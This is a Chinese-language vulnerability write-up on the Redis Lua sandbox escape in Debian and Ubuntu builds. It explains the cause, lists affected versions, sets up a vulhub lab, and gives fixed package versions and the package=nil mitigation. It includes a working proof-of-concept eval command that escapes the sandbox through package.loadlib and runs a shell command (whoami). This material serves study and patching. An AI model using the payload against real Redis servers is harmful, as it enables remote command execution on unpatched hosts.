#Redis简介
Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关系(NoSQL)数据库。Redis 免费开源,其最新稳定版本是 6.2.x(2022/11/10)。
#漏洞介绍
redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。
#影响版本
-
2.2 <= redis < 5.0.13
-
2.2 <= redis < 6.0.15
-
2.2 <= redis < 6.2.5
#环境搭建
通过vulhub搭建该漏洞环境。
docker-compose up -d //启动环境
docker ps //查看环境映射端口
#漏洞复现
使用redis-cli连接该redis服务器。命令:redis-cli -h your-ip
漏洞poc
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
通过该漏洞poc让redis服务器执行whoami命令
#漏洞修复
将redis软件包升级更新到以下版本
Debian:
-
Debian Redis(buster):5:5.0.14-1+deb10u2
-
Debian Redis(bullseye):5:6.0.16-1+deb11u2
-
Debian Redis(unstable):5:6.0.16-2
Ubuntu:
-
Ubuntu 21.10 Redis:5:6.0.15-1ubuntu0.1
-
Ubuntu 20.04 Redis:5:5.0.7-2ubuntu0.1
修复方法:在 Lua 初始化的末尾添加package=nil
参考链接:
- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>